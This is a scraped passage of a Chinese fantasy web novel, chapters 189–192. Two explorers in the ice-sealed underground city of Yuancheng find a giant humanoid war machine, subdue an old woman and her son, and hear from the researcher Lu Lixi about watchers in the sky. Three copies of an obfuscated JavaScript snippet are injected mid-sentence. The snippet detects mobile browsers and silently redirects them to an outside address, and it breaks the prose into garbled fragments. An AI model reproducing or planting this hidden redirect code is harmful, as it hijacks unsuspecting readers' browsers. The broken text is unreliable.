杜光欧一愣,闻人佐说得对啊。他向四周望去,这里没有直射进来的阳光,没有火,没有蜡烛,但是,整个城市仿佛都在发光,每个建筑似乎都是光源,在寒冰的封锁之中,散发着淡淡的辉光。 闻人佐抬手指向他们的右侧,那个方向上,有一条下沉的支路,尽头没入灰暗的下层,“那里有一条向下走的路,我看到下面还有建筑,这座地底城市可能有着多层结构。” 杜光欧定睛望去——的确,在那深处的地下,确实有着鳞次栉比的房屋,如果不是仔细去看,还以为那是崎岖的岩石。 他把视线扭转回来,注视着前方不远处的哨塔,“往前走走看吧。” 他们不能浪费太多时间,这城市里看起来没有活人,也就没有可以赖以生存的物资。如果他们不及时找到出路,被困在这里,那麻烦就大了。 两人穿越了空中的栈道,来到了哨塔中。 靠近建筑,杜光欧这才注意到墙壁在微微发光,他触摸它,冰冷的触感传回来。看不出墙壁用什么做的,想必是某种不常见的建筑材料。 一层没什么东西,他们便又往上走了一层。 二层则是一个有着许多观察窗的平台,其中一个窗户前面,摆着一个黑色的仪器,长条形,呈喇叭的形状。 两人不知道那是什么,好奇地凑过去,来回摆弄着它。 那个黑色的长管架在一个架子上,一端冲着窗外,一端冲着室内。端末盖着一片有些肮脏的玻璃,上面积了些灰尘。 “等等……”闻人佐研究了半天,突然开窍了一般,蹲下来,托着那个仪器的一端,将自己的脸放在玻璃片前面,以一个有些滑稽的姿势站着,他转动自己的身体,连带着手中的仪器也发出吱呀的声响。 闻人佐看了一阵子,抬头,用自己的眼睛盯着窗外,而后又俯下身,头抵着那个仪器,透过那层脏玻璃观察。 杜光欧按捺不住好奇,问:“你在看什么?” 闻人佐脱离了那个仪器,模样有些恍然,说道:“我自诩视力不错,但是这个东西……它能让我看得更远。” 189. 元城初见5 杜光欧闻言,不知道他说的是什么意思,于是乎,也亲自凑上去,学着闻人佐的模样,抵在那个圆形的玻璃罩前面,透过脏兮兮的玻璃,向黑色的管道里看去。 在有些朦胧的视野中,他看到了一道光滑的墙壁,墙壁上有一条又粗又长的黑线,黑线往下延伸,分出了许多条细小的支叉。这些支叉离开墙壁,在空中向四面八方散开,通向这座地下城市的各处。 杜光欧抬起头来,用自己的肉眼看过去,他只能看到一些密密麻麻的、堆积在一起的房屋影子,并不能仔细地辨别他刚才看到的物什。 他再蹲下去,盯着脏污的玻璃,然而,随着他动作的变化,视线的落点也改变了,他怎么也找不到刚才那条粗黑的长线。无论怎么转动视角,都找不到,视野迷失在了这漫漫的地下城市之中。 “这东西……还挺难用的。”杜光欧嘀咕着。 不过,新的景色进入了他的视野。那是一条修建得非常笔挺的大道,几乎有三栋楼那么宽。跑道很光滑,但是倾斜的,末尾消失在了岩洞的上方。 杜光欧移动手里的机器,小心翼翼地,以免又丢失了目标。他将视角向低处转移,看到了这条跑道需要运送的“大家伙”是什么。 那是一台人形的机器,有着三角形的头颅,直角的肩膀,镂空的腰腹,金属的四肢,以及车轮一般的脚掌。 那是什么?杜光欧内心不禁产生了疑问。 那显然不是一尊雕像,如果是雕像,人们就不会给它移动的车轮。它显然也不是什么象征和平的代表,因为它左手举着一面盾牌,右手拿着一把巨型的枪支,枪体一侧贴着一把细长的刺刀。 “我发现了点东西。”杜光欧保持着上半身的稳定,以免视野摇晃,失去目标,一边指着远处,对身边正在瞭望的闻人佐说道,“你能看到吗?左前方有一条通向岩壁顶层的长跑道。” 闻人佐观察了半晌,答:“隐约能看到。” “那里有一台……人形的巨像。”杜光欧道。 “巨像?”闻人佐不理解。 杜光欧稳住了这个可以远眺的机器,让出位置,让闻人佐过来看,“看上去是一种兵器。” 闻人佐凑过来,看了一阵,说道:“这东西看起来可以移动,有防御手段,也有进攻武器。” 杜光欧说道:“它右手上那把枪,口径足足有一扇门那么宽。同比例估计,那大家伙所带来的打击,将是任何武器都无法比拟的。” “足够毁灭一个小型的村庄。”闻人佐断言。 杜光欧说道:“也可以摧毁任何一座城池的高墙。” 闻人佐抽身,两人对上视线。他们没有说话,但是,互相投去的目光告知彼此,他们在为自己的发现而感到震憾。 元城这个地方……就像葛马说的那样,的确存在着颠覆性的内容。 难怪葛马说什么都要让杜光欧来一趟,只有亲眼见到了那种东西,才会知道自己将面临着什么,而这个世界又将面临着什么——或者说,这个世界曾经经历过什么。 拥有那种人形兵器的元城,曾经会是如何毫无忌惮地在这片土地上扩张,这是谁也不知道、却能够想象到的事。然而,拥有此等文明的城市,却在洪水的冲击下毁于一旦。这究竟是大自然的玩笑,还是一个不那么有趣的巧合,没人知道。 这里藏匿着许多秘密,有着更加先进的文明,即使杜光欧还未能理解它的全貌,但现在见到的一切,已经都是概念上的颠覆。 这是一座死气沉沉的城市,可如果有人知道如何唤醒它,那么,重新拥有了它的人,将掌握这个世上无匹的力量。 葛马是不是说过,黎礼有可能正在往元城赶来? 如果消息是真的,那么…… 他必须阻止她。 “我们得把这里看见的内容带出去。”杜光欧冲闻人佐说道。 闻人佐说道:“或者让我们的人走进来。” 他们盯着彼此,杜光欧看到对方露出与他如出一撤的眼神,那是不安、恐惧、以及隐忍的跃跃欲试混合在一起的情绪。 有什么要发生了,一场天翻地覆的变革,他们都知道。 就在这时,一个苍老的声音在他们身后响起。 “你们想让谁走进来啊?” 在听到声音的那一瞬间,杜光欧转过头去,他看到楼梯口站着一个白发苍苍的老者,她手里提着一个水壶一样的器具,它黑色的洞口冲着他们二人。 还未等反应过来什么,突然,对面的闻人佐扑过来,将他推开。与此同时,一道透明的水柱在他们刚才站着的地方突刺而过,像是弹射而出的蛇,啪的一声,在房梁吡开了一道裂口。 “找掩体!”闻人佐大声道。 杜光欧反应过来,迅速与闻人佐一同撤退,从另一侧的门窜出去,躲在来者视线的死角。 脚步声临近,那老者的声音像是怨鬼一样传来,“哼,最近进来的老鼠越来越多了,看来有必要好好打扫一番,弄得这里都不干净了。” 听清了对方在说些什么,杜光欧估摸着这人应该是不欢迎他们。 对方是什么人? 待在这里的……或许是元城的子民? 难得见到了活人,杜光欧还是尝试和对方交流,“抱歉打扰了你,我们无意冒犯,只是不小心掉了进来——” 那个老人却是不屑,打断了杜光欧,“掉了进来?哼,这城市顶上是一片连绵的雪山,正经人怎么会到那顶上去?“ “我们是专业的探险队。”杜光欧面不改色地说谎。 “鬼扯。”对方不买账,“你们刚才的交谈,我可都听到了。说要带人进来,恐怕是盯上元城的里的技术了吧?” “人们都习惯于把震撼他们的东西占为己有。”杜光欧道,“但我们不会妄动有主之物。之前不知道这里还有人生活,刚才的话请权当没有听见。” 那苍老的人似乎已经到达了门口,却堪堪站在他们无法彼此看到的地方,说道:“呵,你对自己的卑性,倒是承认得痛快。没错,见到了元城,你们是应该赞叹。你们这些浑浑噩噩活着的人,本不配来到这个地方。” 闻人佐给他递来一个视线,表示他已经准备好了,对方一露头,他就可以行动。 杜光欧盯着闻人佐,和那老女人继续展开对话,“正巧,我们也准备离开,如果你能为我们指明一条离开的道路,我们会立刻消失。” “这里没有出去的路,路全都封死了。”老女人说道,“你们也得死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593977|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这,不管是被我杀死,还是饿死。” 就在此刻,杜光欧给了闻人佐一个眼神,而后从掩体中跑出来,暴露在女人的视野之中。 “别想跑!”那老女人跨越了门槛,举着手里那能喷出水注的武器,将它对准了杜光欧。 然而,下一刻,在门旁埋伏的闻人佐突然跳出来,一个猛扑,将对方一下子按在了一旁的墙上,夺走了对方手中的器物。 老女人丝毫没有反应过来,就那么被夺走了武器,她痛苦地呜咽了一声,“唔……你们,胆敢——” “失礼了。”杜光欧说,像个没有感情的器物一般,他从闻人佐那里拿过那水壶一样的武器,问她,“能教教我们这东西怎么用吗?” “我呸,两个小贼,放开我!”她挣扎着,但是,闻人佐的禁锢纹丝不动。 大元帅说道:“我们只是想知道出去的路。” “我说了没有出去的路!”点灯人说道。 “那太难过了。”杜光欧说道,“看来,我们得在这里留上一阵子了。那么,既然马上要成为邻居了,还请多多关照。在这里如何生存下去,我们还需要好好向你请教。” “我就算饿死,也不会……” 正当女人说着恶毒的话,突然,他们所在的哨塔下方传来了一阵急促的脚步声。 听到那声音,她突然抻长了脖子,喊道:“蠢小子,来得太慢了!” 杜光欧与闻人佐沉默地交换视线。 那个脚步原本急匆匆的,可到了楼梯口却没有动静了。 血皑人和摄文人屏息凝神,往楼梯口看去,时刻警戒着那里可能出来的人。 杜光欧听到了一种细微的声音,像是金属搭扣的声音,那种声音他很耳熟。那是—— 一个人影窜出来,贴着地面滑动。一声巨响回答了杜光欧的疑问,嘭的一声,他只觉得自己的视野猛烈地震颤了一下,而后,身体不受控制地向后倒去。 杜光欧反应过来是怎么回事了,但也只是短短一瞬间的思绪,意识很快地消散了。 又被子弹打中了。 他真的很不喜欢这种没有预兆性的武器。 他倒在地上,看到大元帅蹲在他身边,惊惧地向他喊着些什么。 他听不见,视野很快便沦于黑暗。 …… …… …… 眼睛一闭一睁,他又回到了过去。 闻人佐刚把老女人按在墙上,后者发出濒死的痛吟。 杜光欧摸了摸脑袋刚才开花的地方。回溯力发动了,看样子他的能力还健在,之前吞下的毒药却没有发动,基本可以确定是药效过期了。 “肮脏的血脉,不要碰我!”女人咒骂着。 杜光欧凑到闻人佐身边,对他小声说道:“有人来了,我去埋伏。” 大元帅回复了他一个“明白”的眼神,没有惊讶于他如何得知,这个大元帅和他配合得默契,也给足了信任。 杜光欧悄声离开,来到楼梯口旁边,躲在墙后。 闻人佐捂住了女人的口鼻,让她无法发声。 过不多久,急促的跑动声响了起来,来者似乎非常着急,哐哐登上楼梯,毫不掩饰自己的脚步声,“母上——” 190. 伊始1 在对方身影探出来的一瞬间,杜光欧猛然扑上去,将人撞到在地,一把夺过刚才要了他性命的枪。 “啊!” 身下的人发出惊恐的叫声,那是一个短头发的男人,带着一副眼镜,因为和地面的冲击,那副眼睛在他的鼻梁上歪斜。他惊恐地回过头来,看了眼自己身上的男人。 杜光欧一边按着对方,一边将手指搭在扳机上,枪口冲着男人。 可男人却似乎完全不在乎自己死活似的,没理会那枪,看向被闻人佐控制住的女人,喊道:“母上,母上!您还好吗!?” 大元帅松开了捂住女人口鼻的手,后者立刻急促地喘息起来,好像再多几秒,她就会因为窒息而死一般。 老女人沉重地呼吸了一阵子,说道:“……你们把他放开。” “母上!”男人听到声音,激烈地挣扎起来。 男人的身板并不硬朗,只是个学者模样的年轻人,杜光欧压制他根本花不了多少力气。 “我说,把他放开!”女人吼道,模样有些气急败坏。 杜光欧对她道:“放开他,对我们有什么好处?” 老女人道:“你们不就是想活着吗?把他放开,我就告诉你们补给在哪。” “我们需要出口的位置。”杜光欧道。 “没有。”女人说,“道路被冰封住了,连个虫子都飞不过去。” 杜光欧还想问些什么,余光却见一个身影出现在了楼梯口。 居然还有人!? 这么想着,手下当即行动起来,枪口骤然对准了来者的方向。 然而,在看到对方的一刻,他动作僵住了。 他认识对方,那是一个小个子的女人,他和她几乎没说过话,但是杜光欧记得她。 那是甾染内承燕无身边的那个经贸师,名字叫什么来着…… 不,这不重要。关键是她怎么会在这? 杜光欧思索这些的时候,身下的男人突然猛烈地挣扎起来。 “古古,别过来,快跑!” 哦,对,她叫古古。 对面,那个小个子的女人并没有听从男人的喊话,她有些担惊受怕地盯着杜光欧手中的枪,无害地站在那里,说道:“血皑城的二王子,请不要开枪……” 杜光欧眯起眼睛,打量着对方。 现在,他和闻人佐两人完全控制住了局面,有时间冷静地想想当下发生的一切。 上一次见到这个小个子女人是在甾染。那个时候,杜光欧刚刚和燕戎真牵线搭桥,准备离开甾染,去往摄文,会见摄文王姜昆维。而在这之前,甾染的内承找到他,和他展开了一场对话。那场对话的最终目的,最终被他发觉,是为了拖延时间,好让葛马和董莉莉找上门来。 而那场对话中,这个名叫古古的女人也在场,那是杜光欧最后一次见到她。 在那之后,黎军攻占了甾染,这是杜光欧知道的唯一有关甾染的消息。 杜光欧没有放下枪,向古古问道:“你怎么会在这里?” “说来话长……”古古说,“我也很惊讶能在这里见到你。如果你愿意的话,能不能放下枪,我们好好聊聊?” “就现在,告诉我。”杜光欧没有答应对方的提议。说实话,他并不了解眼前这个女人。在他的毒药失效的当下,他失去了肆意打探消息的手段,只能谨慎、再谨慎一些。虽然自己不会出什么事,但是他们现在是团队合作,他不能太豁出去,否则大元帅可能就要因为他的回溯力遭殃了。 杜光欧已经太熟悉这样的展开了,无法接受身边的人再因他而遭难。 “我们没有恶意……”对面的古古说道。 杜光欧晃了晃手中的枪,“这个男人带着枪冲进来的时候,可不是这么想的。” 古古解释说道:“那是因为最开始不知道闯入者是谁……我们不是有意要制造这样的紧张局面,只是因为害怕母上出事……” 他们一个两个都叫那个女人“母上”,这样的称呼,听上去相当古老。 杜光欧对小个子女人说:“你还没有回答我的问题,你为什么会出现在这里。” 古古如实说道:“我的母亲是元城人,我为了弄清楚自己的身世,而来到了这里。” “小古,这种事情,不要随便告诉外人……”杜光欧身下的男人对古古说道。 杜光欧皱了皱眉,他倒是没有想到,古古和元城居然也有千丝万缕的联系。 她会是什么立场?杜光欧想道。 黄王、元城,黎礼。这三者之间有着不可分割的联系。 “黄王后人”这个群体对于他来说是敌人。他们构成了血皑城的复权派,害死了他的兄长、父亲,夺走了他生活的城市。 对于血皑的王室来说,任何和黄王有关的人,都有可能是敌人。 眼前的小个子女人也不例外。 杜光欧抱着怀疑的态度,不信任的视线,向对方说道:“甾染灭亡,你的城市已经死去,你不急着报仇,却偏偏跑来这么远的地方?” “是要报仇。不过,那是之后的事情。”古古模样有些哀伤,回答他,“我们不想夺回甾染,只想让制造悲剧的人付出代价。” “谁?” “自然是导致甾染陷落的黎军。” 听到这里,杜光欧陷入短暂的沉思。 如果眼前的小个子女人没有说谎,那么,他们的目的是一样的。 该相信她吗? “能不能请你们原谅母上。”古古说,带着真诚的歉意,“她只是……有些应激,她在这里生活的时间太久了,已经太长时间没有接触过外面的人……” 老女人吼道:“你这小丫头片子,胡说些什么呢?别以为我不把你的小脑袋瓜拧下来,你就可以胡作非为了!” 这时候,杜光欧身下的男人突然大喊:“母上,别再用那么渗人的话吓唬小古了!” “你个傻子,就是因为你大摇大摆跑上来才错失了反制的机会!”女人一边在闻人佐的手下挣动着,一边大吼。 “我是担心您——” 就在这时,闻人佐突然一个手刀劈向眼前的人。老女人呜咽了一声,眼珠一翻,就这么昏了过去。 “母上!!”男人撕心裂肺地喊。 “等等,请不要……”古古也惊虑地想要制止。 闻人佐把人放平了,从一旁的窗户上扯下布帘,往空中一抛,抽剑一闪,那布窗帘就被切割成了条状。他将老女人的双手捆起来,又对在场的其他人说道:“只是先请她安静一阵。” 他说完,来到杜光欧身边,接管了他身下控制着的男人,也用条状的布帘将他束缚起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593978|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完成了这些,当下血皑人与摄文人的双手已经自由,他们对面只剩那个甾染的矮小女人了。 杜光欧仍举枪冲着她,但思虑了一阵,还是放下了武器,“就像你刚才说的那样,好好聊聊吧。” 直到确认己方已经完全控制止局面,他才说了这句话。这多少有些卑鄙,但只要能达成目的,怎样都行。 古古示意问自己可否去查看女人的情况,杜光欧准许了。 她来到那老女人的身边,发现她只是昏了过去,呼吸很平缓,看起来没什么生命危险,古古这才露出一副安心的模样。 那双手被缚住的戴着眼镜的男人也从地上蹭过来,和自己人凑在了一起,而后明显平静了下来。 杜光欧便站在角落,看着他们的动作,不言语。闻人佐和他待在一起,也沉默着。 检查完了女人的情况,古古盯着杜光欧,又看看闻人佐,说道:“你们……是怎么来到这里的?” 杜光欧将枪收回衣服中,悄无声息地扣下了这把武器,作为己用,“从雪山上掉了下来。” 古古眨眨眼,“你们也是?” “也是?”杜光欧简略地反问。 “我也是从雪山上掉下来的。”古古说道,“你们是不是掉进了一个装满了冰眠人的房间?” “……你指那些冻在冰里的人?” “对。看来你们也见到那些人了。” “他们是什么?”闻人佐问。 古古看向一旁戴眼镜的男人,眼神中有请求的意味。后者轻轻叹了口气,解释起来,“冰眠人,他们是元城的子民,百年前在洪水到来前陷入了沉睡。” “百年前陷入沉睡?”闻人佐皱眉,像是有些难以理解这句话似的,“那到现在,他们不都是死人了?” “不,低温凝滞了一切体内活动,让他们的生命得以延长。只要得到妥善处理,他们还会醒来。”戴眼镜的男人说,他似乎没有隐瞒任何事情的意思,“而我就是刚醒的一员。” 杜光欧和闻人佐交换了一下视线,显然,两人都对这番话抱有一定程度上的怀疑。 “这座城市到底还有拥有什么东西?”杜光欧问,“我们看到了巨大的人型兵器,那是用来做什么的?” 古古和她身边的男人对视了一番,鹿力喜的模样有些凝重,他深吸了一口气,“在说明之前,我能知道你们为什么来元城吗?” 杜光欧思索了一番,将目的告知似乎并无大碍,于是他道:“我们想要找到通过横古山脉的通路。” “西边不是有个白鸣谷吗?”鹿力喜问。 “那里大军无法通行。” “你们要打仗?”戴眼镜的男人敏锐地抓住了重点。 杜光欧也没有遮掩的意思,“是。” “战争啊……人们还在自相残杀。”男人有些感慨,模样惋惜。他看向杜光欧,说道,“这位……先生。我看到你刚才把我的枪夺走之后,非常熟练就对准了我,你知道它怎么用?” “知道。”杜光欧还是简单地回答,不打算让自己口中透露太多信息。 “看来武器也流传出去了……”男人叹息地说,而后,用近乎祈求的视线看着杜光欧,说道,“两位先生,不管外面在以什么样的原因打仗,我想恳请你们,不要把这里的兵器带出去。” 191. 伊始2 这样的恳请可以说没有任何的约束力,凡是见到了元城的人,很难不对这里面的东西产生觊觎之心。但杜光欧暂且还是打算听听对方的缘由,于是问道:“为什么?” 男人偏头,望向窗外,似乎在看那寒冰掩盖之下的城市,“这些……我们所研制的一切,包括你怀里的那把枪,它们被制造之初,不是为了杀人,更不是为了方便人们自相残杀。” “但你称呼它为兵器。”杜光欧说道,“兵器就是为了战争而存在,不然你可以称它为器具,或者其他什么名字。但你叫它兵器,就代表,它制作之初是为了战争而存在。” 男人的目光有些悲哀,“我不否认它是为了战争而生,但不是为了人和人之间的战争。” 不是为了人和人之间的战争? 这话是什么意思…… “那还有和什么的战争?”杜光欧问。 男人低下头去,像是一时无法回答,紧咬着嘴唇。一旁,古古坐在他的身边,把他们三人尽量聚在一起,表情有些难过,那模样仿佛他们是哪里的逃难者一般。 “两位如果愿意的话,我给你们讲讲这座城市的起源吧。”戴眼镜的男人终于开口,“或许,听完了这些,你们也就不会再想要拿走这里的东西了……” 杜光欧心想,反正局面在他与闻人佐的控制之下,耽误些时间听听这座城市的过往也没什么,说不定还能从中发现什么启示,要是对将来的战局有帮助就更好了,“你说。” “总之,先自我介绍一下。”男人正视着对面两个闯入者,说道,“我叫鹿力喜,曾经是这座城市的一名研究人员。我研究的领域,名为意识跃迁。” 杜光欧皱眉,男人这句话里有他不理解的词汇,“什么是意识跃迁?” 鹿力喜说:“这个领域,说来话长。它是最受重视,也是回报最小的一个领域。它自黄王上任的那一日起启动,但是,直到大洪水淹没了这里,我们依然没有拿出任何的成果。” ……黄王上任。 杜光欧琢磨着这句话。这么听来,黄王的确在这个城市中担任过领导人一类的职务。 鹿力喜摇了摇头,继续往下说道:“他给了我们很多期待,我的先辈们日夜钻研,但是,在我们刚刚有所发现的时候,死亡的丧钟却已经在这座城市的上方敲响……” 说到这里,鹿力喜的表情变得十分悲伤,似乎还有些胆怯,“是我们……惊动了他们。是我们太得意忘形了。黄王一直让我们谨慎,然而,我们却捅出了那么大的篓子……我……” 他说着说着,情绪有些激动。古古不断在旁边安抚他,过了一了阵,男人这才渐渐平稳了下来。 鹿力喜整理好了自己的情绪,接着说:“……抱歉,刚才这么说,你们可能会感到有些困惑。我应该从头开始说,对,我应该从头开始说。” 众人安静地听着,将所有耐心和时间给了这个自称是科研人员的斯文男人。 “你们都知道,世界非常寒冷。元城的科学家们为了对抗严寒,穷尽了所有手段。但是……就算我们不断发明出更有效率的供暖方式,也还是追不上日渐寒冷的天气。没人知道,两百年前的寒潮因何而起,又何时才能离开,到底什么时候,我们才能看到书上所写的夏天,又是什么时候,江河会温暖地流经大地……”鹿力喜悲伤地说着,经常遗憾地摇头,“就在这个与寒冷抗争的过程中,科学家们发现了一件事。一件……颠覆了我们所有人认知的事情。” 鹿力喜说这句话的时候,他的表情有些空茫,显得有些恐怖。他指着上方,眼睛却盯着地面,像个没有灵魂的人偶,道:“那里……有人。有人在看着我们。” 杜光欧疑惑,“你是说现在?还是什么。” 鹿力喜开口,像是不敢大声说话一样,“无时无刻。有人在注视着我们。越过溶洞的山层,翻过积落的白雪,离开天空,抵达穹顶,在那之上,有什么东西在注视着我们。” “……”听到这番话,杜光欧只觉得有些毛骨悚然。 注视。 监视。 不知为何,就在鹿力喜说这番话的时候,那种熟悉的、被盯着的感觉又回来了。 浑身泛起了细小的鸡皮疙瘩,杜光欧没有动。他总觉得,似乎哪里有一双扫视的眼睛,只要他移动一下,就会被那狩猎者一般的视线发觉。 半晌后,鹿力喜的语气平静了下来,他接着说道:“我们之中,有人称呼他们为‘神明’。但是,更多人否认这种称呼。如果谁能成为众人所供奉的神衹,那也只有为了子民的生存而鞠躬尽瘁的人类英杰而已。” 鹿力喜盯着杜光欧,眼中出现了十分细微的、复仇一般的火焰,“在意识到这一点后,我们开始寻找能够‘看到’那些东西的方式。这便是我的研究领域,意念跃迁。但是……我们被他们发现了。那些窥视者注意到了我们的研究,而后,他们以一场洪水摧毁了元城。” 鹿力喜眼中的火焰越燃越凶,“但他们杀不死我们。我们的兵器静待苏醒,我们的子民一部分散落各地,一部分即将醒来。那之后,将是我们向他们揭开的战争。” 杜光欧一时说不出话来,听到的内容超出常识的范畴,他无法就么接受。 可是转念一想,又有什么不能接受的? 他自己不也是一个难以被理解的人吗? 拥有那种无人可见的神力,他比这世上任何人都不正常。 听到鹿力喜的这番话,他理应感觉受到启发,或许说不定,对方所说的一切也和回溯力的源头有关,如果再深挖一些,也许他就能找到这不详之力的由来呢? 闻人佐这时候开口,说道:“这些听上去……不太能让人相信。” “嗯,我理解。最开始出现这种说法的时候,我自己也不信。但是,事实已经向我们证明了一切。”鹿力喜眼中的火焰消失了,又恢复成清澈的模样,“无论这片土地上的人相不相信,上面注视我们的东西就存在于那里。而不管是否要孤军奋战,元城人都会向那些东西执起叛旗,即便子民的每一滴血都因这件事而流淌一空,也再所不惜。这是我们的使命……我们不会放弃。” 这番话使众人哑然。 鹿力喜接着又说:“所以,这座城市里的你们所见到的那些兵器,我们研制它们最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593979|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初目的,不是为了和同胞自相残杀,而是为了和上面的‘东西’展开战争。” 杜光欧这才理解鹿力喜刚才那番请他们不要带走元城武器的话。 “可你们无论想要做什么,这座城市已经被冰封住了。”杜光欧说道。 “这不要紧,我们有大面积解冻的技术,只需黄王的血脉即可启动,唤醒城市。”鹿力喜说。 黄王的血脉…… 杜光欧不禁又想到了黎礼。 结合当下听到的一切,他几乎可以确定,黎礼当真是打算回到元城做些什么。她自称是黄王的子嗣,也就是说,拥有鹿力喜口中解冻元城能力。唤醒这座被冰封住的城市后,她就会将这里占为己有,那之后,这世上想必就没人能够战胜她了。 这时候,在旁一直聆听的古古说话了,她道,“你们二位之前说想要离开元城,是吧?” 闻人佐用下巴点了点昏迷过去的老女人,“她说出去的路已经被封死了。” “那是唬你们的,母上不希望元城的事泄露出去。”古古道。 “这么说,你知道哪里有出口?”闻人佐向对面那小个子女人问。 “知道,那条路的确是被冰封住了,但只要炸开就行。”古古说,她看着身边苍老的女人,又抬头肯请地看着对面两人,“只有母上知道怎么把路炸开,等她醒来,我会请她们帮助你们。” 杜光欧朝她问:“她真的愿意吗?” “她不是有意要伤害你们,她只是……太害怕了,一直活在可能被人发现的恐惧之中。”古古模样有些不忍,说道,“等她醒来,我会好好和她说的。也请你们一口咬定只是想离开这里,只要她看到诚意,就一定会提供援住。” “……好吧。”杜光欧应下了,征询地看向闻人佐,“那就先把他们解开?” “嗯。”闻人佐十分默契地已经开始行动了。 他们把老女人和鹿力喜身上的束缚都解开,还给了他们自由。 闻人佐给她那一掌,力道并不是很大,但是,可能是由于女人的年纪已经垂垂老矣,她从昏迷中迟迟没有苏醒。 于是乎,这一伙构成复杂的人,便在塔楼中等待了起来。 这期间,作为两方勉强还有些交集的人,杜光欧和古古时不时聊着两句。 古古问:“这座雪山山顶的道路十分曲折,你们是怎么找到这里来的?” 杜光欧想起来了葛马,说:“我们有一个向导。” 古古:“是吗,真是巧了,我也是跟着一个向导才爬上了峰顶。” “燕无没跟你一起?”杜光欧问。 古古摇摇头,“甾染陷落之后,我们逃到了法陆贡旁边的一个镇子上。后来,他为了向黎礼复仇,和他大哥一起去了牧盟的其他核心都城。那时我与他分道扬镳,为了解开自己的身世之谜,和另一个人前往了雪山……哦,对了,那人应该还是你的熟人。” 听到这里,杜光欧盯着古古,静待她继续说下去。 “在甾染的时候,有个红头发的西索人和一个长卷发的血皑贵族一起,追着你要见你一面。你知道这件事吗?”古古问。 192. 伊始3 “我知道。”杜光欧回答道。他又怎么会不知道,葛马和董莉莉一直在追着自己,但是,他始终和他们保持着距离,直到葛马最终在摄文突然找到了他。当下,他暂且没有精力为过去感怀,古古的话让他心生疑惑,“你说你……和谁一起上了雪山?” “葛马,那个红头发的小哥。”古古道。 杜光欧一惊,怎么会是葛马? 带着他们上雪山的向导也是葛马。 这件事让他感觉莫名其妙,为什么葛马在古古那边的事件里也掺和了一脚? “他带你上了雪山?”杜光欧不解地重复。 “是。可他在半路上消失了。”古古说,“我到现在都不知道他去了哪,是不是还活着。” 杜光欧听着,不由得皱眉思索。 这段经历,听起来怎么和他们的经历那么像? “你是说,葛马带你来雪山峰顶,然后他自己消失了。再之后,你就掉进了元城里。”杜光欧总结道。 “是的。”古古肯定着他,她目光一时有些空泛,像陷入了回忆中,“那也就是六天前的事情吧。” 杜光欧听到古古的描述,一个结在他的心里缠绕起来,怎么也解不开。一种疑惑找上了他,罩住了他的双目,使他迷茫,“六天前……” 这时候,闻人佐似乎也听出来不对劲,加入了谈话,“你是说……那个葛马小兄弟,六天前带你来到了雪山?” 被这么三番五次地确认,古古反问道:“是这样的。怎么了吗?你们好像很在意这件事似的。” 闻人佐的视线向杜光欧投了过来,大元帅说道:“阁下,如果我没记错,我们从摄文出发,来到这里,便是足足用了六天时间。如果说,六天前,葛弟还在雪山上领路的话……” 杜光欧瞪着眼睛,一眨不眨。 六天前,葛马和他们一起从摄文出发了。 同样的是六天前,他在雪山上为古古引路。 为什么……他会在同一天之内,出现在两个地方? 摄文距离雪山并不近,就算骑最快的马,也需要三四天才能到达。 他究竟是用了什么方式…… 难道是动用了元城里的什么东西吗?或许这里有比马更快的载具? 可是,就如他们听到的,元城的出入口已经被冰封住。就算有速度非常快的载具,葛马也不可能把它带出去。 这个推论并不成立。 那么,那家伙到底是怎么…… 就在众人陷入沉默的沉思时,一声呢喃从角落里传来。 老女人悠悠转醒,嘴中嘀咕着些什么。 古古和鹿力喜凑了过去,查看着她的情况。后者坐起来,揉了揉自己的脖颈,一副疲惫的模样。紧接着,她看到了杜光欧和闻人佐,突然龇牙咧嘴地道:“这些家伙……把他们赶出去……!” 哪怕是昏迷了一场,她依然没有忘记,清醒之前在做些什么。 古古在一旁安抚着她,说:“他们马上就要离开了,母上,我们把他们带去出口,他们就离开了。” “不对,不能让他们离开……”老女人看上去有些恍惚,或许是因为昏迷,或许是因为她在这里一个人待了太久,又或许,是因为她已经在这个世界生活了太长的时间,有些时候,她会显露出只属于老年人的那种疲态,“不能让他们把这里看到的一切带出去。” “他们不会的。”古古劝说道,“他们是我的熟人,母上,你不相信他们,也不相信我吗?” “是你的熟人?”她像是个懵懂的老人,在向儿女反复确认着什么东西一般。 “是的,他们只是想回家罢了。”古古说。 老女人愣了愣,迟缓的视线转移到杜光欧的身上,然后又是闻人佐,“回家……” “我们已经七八年没有见到故乡了。”杜光欧深情地信口胡诌。 那年迈的女人原本还看着他们,可目光却渐渐有些飘远,像是回想起来了什么一般。 “我们把他们送到出口吧。”古古在女人的耳旁轻声说道,“把门敞开,这样,我们失散在外的子民也能找到回家的路。” 